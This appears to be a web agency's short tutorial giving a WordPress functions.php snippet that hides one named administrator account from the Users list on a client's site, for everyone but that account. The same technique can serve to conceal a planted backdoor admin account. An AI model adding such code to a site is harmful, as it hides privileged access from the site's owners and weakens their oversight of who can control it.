admin verbergen

When you have a valid – and legal – reason to hide your administrator account from prying eyes, then this is the way to do it.

Hiding the administrator account from the list of users

The code below hides the user with username XXXXXX from the list of users on your client’s WordPress site (Users >> All Users). Of course, you need to change both instances of XXXXXX to the username of your choosing.

Copy this code into your theme’s functions.php file. You can find your theme’s functions.php file in folder /wp-content/themes/your(sub)theme/ on your site’s server.

//* Hide this administrator account from the users list
add_action('pre_user_query','site_pre_user_query');
function site_pre_user_query($user_search) {
	global $current_user;
	$username = $current_user->user_login;
 
	if ($username == 'XXXXXX') {
	}
 
	else {
	global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'XXXXXX'",$user_search->query_where);
  }
}

tell us your story!

How can We Help?